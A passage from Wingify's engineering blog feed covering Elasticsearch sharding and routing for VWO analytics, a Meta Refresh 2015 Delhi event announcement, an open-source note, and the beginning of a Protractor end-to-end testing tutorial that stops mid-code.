Elasticsearch, we can do something similar by using &lt;a href=&quot;https://www.elastic.co/guide/en/elasticsearch/reference/current/search-aggregations-bucket-terms-aggregation.html#search-aggregations-bucket-terms-aggregation-script&quot;&gt;Terms Aggregation using Scripts&lt;/a&gt;. The problem with this approach is that if you have a large number of documents, your script will get evaluated on all of them and Elasticsearch is not really a script execution engine (no matter which scripting plugin you use). What you can do instead is push the result of a script at the time of indexing and then simply run Terms Aggregation on it. We saw massive performance boost by doing this performance hack.&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;Every document gets saved under the &lt;code class=&quot;language-text&quot;&gt;doc_type&lt;/code&gt; for the account that campaign belongs to i.e. every account on &lt;a href=&quot;https://vwo.com&quot;&gt;VWO&lt;/a&gt; has a separate doc type.&lt;/p&gt; &lt;h3 id=&quot;performance&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#performance&quot; aria-label=&quot;performance permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Performance&lt;/h3&gt; &lt;p&gt;From performance point-of-view, Elasticsearch has very fast indexing and querying capabilities. It is a distributed system - you can deploy a cluster of nodes in production which stores indexes in a distributed fault-tolerant way to give you performance benefits. Increase the number of replicas per shard and you can scale reads and queries. This can be done after creating an index as well. Elasticsearch does not allow changing of number of shards though. But there is a sweet work around for that. Just create a new index with more shards and use aliases, and you can now scale indexing as well.&lt;/p&gt; &lt;h4 id=&quot;sharding&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#sharding&quot; aria-label=&quot;sharding permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Sharding&lt;/h4&gt; &lt;p&gt;From our experience with working on large data sets which need to be queried on an ad-hoc basis and have low latency requirements and from our learning from &lt;a href=&quot;http://thedudeabides.com/&quot;&gt;Shay&apos;s&lt;/a&gt; talks (&lt;a href=&quot;https://www.youtube.com/watch?v=SIj5eJw8BUE&quot;&gt;1&lt;/a&gt;, &lt;a href=&quot;https://www.youtube.com/watch?v=fEsmydn747c&quot;&gt;2&lt;/a&gt;, &lt;a href=&quot;https://vimeo.com/44716955&quot;&gt;3&lt;/a&gt;), we understood that a data storage system meant to store a lot of data will scale for your reads and querying requirements well if you can shard your data well according to the variable that determines the growth of that data. For example, if you are using any database for storing machine logs, you should be able to shard your data probably according to time because you would want to query the most recent data and if you have to do it from the all the data you ever collected, then your old data will only become a performance bottleneck. So a possible sharding strategy could be sharding data according to month-year.&lt;/p&gt; &lt;p&gt;Our requirement was similar. We get visitor data which we could easily shard on monthly basis. And since this data would keep on growing, we can just add new indexes every month and place the new data in these indexes. However, which index a visitor document goes to is not determined by the timestamp of the visitor but it is determined by the date of creation of the campaign. Why? Our customers view campaign reports i.e. when a campaign report is opened, we want to get data for that campaign only. So it would make sense to have all the data for a campaign reside only in one index because we wouldn&apos;t want to look into multiple indexes for generating report of one campaign. If we decided to put visitor documents in different indexes depending upon time of visit, we would have faced the following problems:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;A campaign may run for more than a month, so visitor documents for a campaign may be in more than one indexes and we would not have any way to know which all indexes without keeping a track of it separately as to which indexes have visitors for a given campaign. This would be painful.&lt;/li&gt; &lt;li&gt;Since visitors also convert goals and we store conversion data in visitor documents, it would be very difficult for us to find which index to find the visitor document in so that we can add conversion tracking related data in the document.&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;These problems get solved when we restrict all visitor data for a given campaign to go in one index only. So for &lt;code class=&quot;language-text&quot;&gt;account_id&lt;/code&gt; 123 that has two campaigns - campaign 1 (created in January 2015) and campaign 2 (created in February 2015), the visitor documents for both will be created in the indexes for January 2015 and February 2015 respectively.&lt;/p&gt; &lt;p&gt;Another big advantage of this is that we can adjust the number of shards every month. So if we are seeing a trend of more visitors getting tracked month after month, in the next month we can create a new index with more shards than the previous month&apos;s index.&lt;/p&gt; &lt;h4 id=&quot;routing&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#routing&quot; aria-label=&quot;routing permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Routing&lt;/h4&gt; &lt;p&gt;Since documents are stored in a particular shard in an index, Elasticsearch needs to decide which shard to put the document in. Elasticsearch use a hashing algorithm that is used for shard selection and Elasticsearch uses document&apos;s ID by default for determining which shard that document goes into. This is called routing a document into a shard. This may work fine in some cases. But the drawback of this default routing strategy is felt when you have a large number of shards and also when you have to serve a lot of queries. The drawback is that Elasticsearch now needs to search every shard in an index for all the documents matching a given query, wait for the results, aggregate them and then return the final result. So for a given query, all shards get busy.&lt;/p&gt; &lt;p&gt;This can be controlled by using a better routing strategy. In our case, we generate reports of a campaign of a given account. It would be ideal that one account does not limit report generation of another account. So instead of going with the default routing strategy, we decided to route documents on the basis of &lt;code class=&quot;language-text&quot;&gt;account_id&lt;/code&gt;. So now, when a campaign report is generated for a given account, the query hits only a single shard, leaving all other shards available for serving other queries and also freeing up CPU resources. After moving to this routing strategy, we saw a significant reduction in CPU usage in our cluster.&lt;/p&gt; &lt;h3 id=&quot;operations&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#operations&quot; aria-label=&quot;operations permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Operations&lt;/h3&gt; &lt;p&gt;From operations and management point-of-view, Elasticsearch is fault tolerant - indexes can be sharded and replicated and distributed in a cluster. Elasticsearch distributes shards and their replicas on different nodes in the cluster so that if a node fails, Elasticsearch promotes replicas to be the primary shards and moves shards and replicas in the cluster to balance the cluster. What is really amazing is that Elasticsearch also gives control over placement of shards in a cluster so that it is easy for you to separate hot data from cold (historic) data easily. We have not had the need to use this feature yet, but it is good to know that we can do this if at all historic data becomes a performance problem. Chances are that it will become a problem but probably much later.&lt;/p&gt; &lt;h2 id=&quot;drawbacks&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#drawbacks&quot; aria-label=&quot;drawbacks permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Drawbacks&lt;/h2&gt; &lt;p&gt;Although Elasticsearch made it really easy for us to push out something like this with so much ease (and remember we had no experience building something like this before) and we love Elasticsearch for that, we did find a few things with it that we think limits us.&lt;/p&gt; &lt;ul&gt; &lt;li&gt;The facet term hack for avoiding running scripts works great but then it&apos;s also limiting if you want to add new features in your application that rely on different scripts that were not added at the time of indexing. This means that you will have to re-index all your data if you want to support this new feature or just provide this feature on new data.&lt;/li&gt; &lt;li&gt;Lack of JOINS becomes limiting. As of now we push the conversion data in visitor document. But it would have been ideal if we could independently index conversions data in a separate index or doc type.&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;We don&apos;t know how to solve these problems yet or if Elasticsearch team has any plans for bringing something new that fixes these problems. It will open Elasticsearch to a lot more possibilities if JOINS were possible. But we also understand that it&apos;s not a simple problem to solve and Lucene and Elasticsearch were not made keeping these use-cases in mind. Nevertheless, we hope to see these improving in the future, especially because a lot of companies are using Elasticsearch for analytics as well.&lt;/p&gt; &lt;h2 id=&quot;conclusion&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#conclusion&quot; aria-label=&quot;conclusion permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Conclusion&lt;/h2&gt; &lt;p&gt;Elasticsearch has been great for us and it proves that you don&apos;t always need Hadoop for building analytics depending upon your requirements. The amazing thing is that we feel Elasticsearch is amazing when it comes to scaling when limited by resources - horizontal scaling is extremely simple. But it will work for you or not depends entirely on your requirements.&lt;/p&gt; &lt;p&gt;Elasticsearch already works with Hadoop, which is being further developed to expand the use-cases it can support. This gives us a lot of confidence as we will add more features to &lt;a href=&quot;https://vwo.com&quot;&gt;VWO&apos;s&lt;/a&gt; user tracking in the future and we know that we will not be limited by our decision to use Elasticsearch.&lt;/p&gt;</content:encoded><author>Vaidik Kapoor</author></item><item><title><![CDATA[Meta Refresh 2015 Delhi Run-Up Event]]></title><description><![CDATA[Meta Refresh is an event organised by HasGeek that focuses on design, user experience and the front-end web. The current iteration of Meta…]]></description><link>https://engineering.wingify.com//posts/meta-refresh-run-up/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/meta-refresh-run-up/</guid><pubDate>Mon, 09 Mar 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://metarefresh.in/2015/&quot;&gt;Meta Refresh&lt;/a&gt; is an event organised by HasGeek that focuses on design, user experience and the front-end web. The current iteration of Meta Refresh (2015) will be held in Bangalore on April 16-17.&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;http://wingify.com&quot;&gt;Wingify&lt;/a&gt; will be hosting the &lt;a href=&quot;https://metarefresh.talkfunnel.com/2015-delhi/&quot;&gt;Delhi run-up event&lt;/a&gt; for Meta Refresh. The session will focus on how designers, engineers, optimization specialists and businesses can use data (statistics) to drive design opinion, thereby optimizing their websites and web applications. The premise being that the data speaks for itself at any point of time, and provides you with validations or rejections on your hypothesis. A data-centric approach towards web-design serves the same cause. The design / layout of any website is based on certain intuitions of the designer, and many a times there is a conflict of interests between the designer and the business team. How about tweaking the website to bridge the gap between design and business?&lt;/p&gt; &lt;p&gt;If this is a topic that interests you we encourage you to join us for the run-up even at our office on &lt;strong&gt;March 21, starting at 10am&lt;/strong&gt;. It would be a great opportunity for you to:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;&lt;strong&gt;Speak&lt;/strong&gt; - If you have a similar topic in mind, or even a different one that goes with the theme of Meta Refresh 2015 (&lt;em&gt;web in your pockets&lt;/em&gt;), &lt;a href=&quot;https://metarefresh.talkfunnel.com/2015-delhi/&quot;&gt;propose a session at the talk funnel&lt;/a&gt;.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Learn&lt;/strong&gt; - &lt;a href=&quot;https://metarefresh.talkfunnel.com/2015-delhi/&quot;&gt;RSVP for the event&lt;/a&gt; at the same link and be present for the event to learn from the community.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Interact&lt;/strong&gt; - Mingle and chat with us and other attendees about design, usability, or anything at all.&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;We look forward to seeing you at the event!&lt;/p&gt; &lt;h4 id=&quot;event-time-march-21-10am---3pm&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#event-time-march-21-10am---3pm&quot; aria-label=&quot;event time march 21 10am 3pm permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Event Time: March 21, 10am - 3pm&lt;/h4&gt; &lt;h3 id=&quot;location&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#location&quot; aria-label=&quot;location permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Location&lt;/h3&gt; &lt;p&gt;Wingify Software Pvt. Ltd.&lt;br&gt; 14th Floor, KLJ Tower North,&lt;br&gt; Netaji Subhash Place,&lt;br&gt; Pitam Pura,&lt;br&gt; Delhi - 110034&lt;/p&gt; &lt;p&gt;Google Maps: &lt;a href=&quot;http://bit.ly/1AmaGYh&quot;&gt;http://bit.ly/1AmaGYh&lt;/a&gt;&lt;/p&gt; &lt;h3 id=&quot;get-in-touch&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#get-in-touch&quot; aria-label=&quot;get in touch permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Get In Touch&lt;/h3&gt; &lt;p&gt;You can email us at &lt;a href=&quot;mailto:engineering@wingify.com&quot;&gt;engineering@wingify.com&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>Himanshu Kapoor</author></item><item><title><![CDATA[Open source at Wingify]]></title><description><![CDATA[At Wingify, we believe in open source and actively seek opportunities to give back to the community. We make use of a lot of open source…]]></description><link>https://engineering.wingify.com//posts/opensource-at-wingify/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/opensource-at-wingify/</guid><pubDate>Fri, 20 Feb 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;At Wingify, we believe in open source and actively seek opportunities to give back to the community. We make use of a lot of open source technologies and libraries in our day to day work. And to share back the love, we have open sourced &lt;a href=&quot;https://github.com/wingify/please.js&quot;&gt;quite&lt;/a&gt; a few &lt;a href=&quot;https://github.com/wingify/lua-resty-rabbitmqstomp&quot;&gt;things&lt;/a&gt; over the past.&lt;/p&gt; &lt;p&gt;Pravendra Singh, a hacker, recently went on to actually collect and visualize data about &lt;a href=&quot;http://pravj.github.io/blog/open-source-presence-infographic/&quot;&gt;open source contributions of some of the leading startups in India&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;Something really cool that came into picture from his infographics was that Wingify was leading other organizations in terms of the most starred repository - our &lt;a href=&quot;https://github.com/wingify/please.js&quot;&gt;&lt;strong&gt;Please.js&lt;/strong&gt;&lt;/a&gt;. Moreover, we have three more of our repositories that made it to the top 10!&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 5px&quot;&gt; &lt;img src=&quot;/images/2015/02/github-stars.png&quot;&gt; &lt;/div&gt; &lt;p&gt;There are more such cool infographics in his blog post - &lt;a href=&quot;http://pravj.github.io/blog/open-source-presence-infographic/&quot;&gt;Open Source Presence Infographic of Indian Startups&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;We keep doing a lot of cool open source stuff and if you are into such things, don&apos;t forget to &lt;a href=&quot;https://github.com/wingify&quot;&gt;follow us on github&lt;/a&gt; and on &lt;a href=&quot;https://twitter.com/wingify_engg&quot;&gt;twitter&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>Kushagra Gour</author></item><item><title><![CDATA[Testing AngularJS Apps End to End Using Protractor]]></title><description><![CDATA[We, at Wingify, have been writing e2e test cases for our A/B testing app for the past 5 months using protractor. Writing e2e scripts is easy…]]></description><link>https://engineering.wingify.com//posts/angularapp-e2e-testing-with-protractor/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/angularapp-e2e-testing-with-protractor/</guid><pubDate>Fri, 13 Feb 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We, at &lt;a href=&quot;https://wingify.com&quot;&gt;Wingify&lt;/a&gt;, have been writing e2e test cases for our &lt;a href=&quot;https://app.vwo.com&quot;&gt;A/B testing app&lt;/a&gt; for the past 5 months using protractor. Writing e2e scripts is easy but making them work 90% of the times on all browsers makes you go nuts! Sometimes, I feel that the browser is moody, but of course, we have to deal with all its moods and make sure that test cases are robust.&lt;/p&gt; &lt;p&gt;Getting your e2e tests to run smoothly everytime comes with experience. And, learning from my experiences testing our app, here is a post describing them.&lt;/p&gt; &lt;h2 id=&quot;an-overview-of-protractor&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#an-overview-of-protractor&quot; aria-label=&quot;an overview of protractor permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;An Overview of Protractor&lt;/h2&gt; &lt;p&gt;&lt;a href=&quot;https://angular.github.io/protractor/#/&quot;&gt;Protractor&lt;/a&gt; is a specially designed wrapper around &lt;a href=&quot;https://code.google.com/p/selenium/wiki/WebDriverJs&quot;&gt;WebDriverJs&lt;/a&gt; to automate e2e testing for angular apps. The following figure gives an overview of the architecture involved for automation and testing :&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 5px&quot;&gt; &lt;img src=&quot;/images/2015/02/2.png&quot;&gt; &lt;/div&gt; &lt;h2 id=&quot;setting-up-protractor-and-add-ons&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#setting-up-protractor-and-add-ons&quot; aria-label=&quot;setting up protractor and add ons permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Setting up protractor and add-ons&lt;/h2&gt; &lt;p&gt;For basic setup, go through the &lt;a href=&quot;http://angular.github.io/protractor/#/tutorial&quot;&gt;Protractor official documentation&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;Once the setup is done, you are ready to write and run e2e scripts. Next you need a report of failed and passed test cases along with screenshots. &lt;code class=&quot;language-text&quot;&gt;protractor-html-screenshot-reporter&lt;/code&gt; , an npm module, provides you with an Html report of the test cases along with screenshots. Set it up as mentioned in &lt;a href=&quot;https://www.npmjs.com/package/protractor-html-screenshot-reporter&quot;&gt;npm documentation&lt;/a&gt;&lt;/p&gt; &lt;p&gt;Test Scenario and Test Data follow a one-to-many relationship, so we can&apos;t hardcode the test data within the code. For example: The same login test script can be used to test the login of different types of users. To make life easy, it is a better option to make use of .xls files (Microsoft Excel, OpenOffice etc) and import data dynamically into the script, while execution. &lt;code class=&quot;language-text&quot;&gt;xlsjs&lt;/code&gt; npm module lets us fetch the data from an .xls file and use it in script. Follow the below mentioned steps to set it up :&lt;/p&gt; &lt;ul&gt; &lt;li&gt; &lt;p&gt;Install xlsjs&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; xlsjs&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/li&gt; &lt;li&gt;Define a JavaScript utility function as :&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token function-variable function&quot;&gt;cellFromXLS&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;cellId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;use strict&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;//Define sheetNumber&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; sheetNumber &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;//Define file Path name&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; fileNamePath &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; path&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;dirPath&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;data1.xls&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;//NodeJs read file&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;XLS&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;typeof&lt;/span&gt; require &lt;span class=&quot;token operator&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;undefined&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;XLS&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token 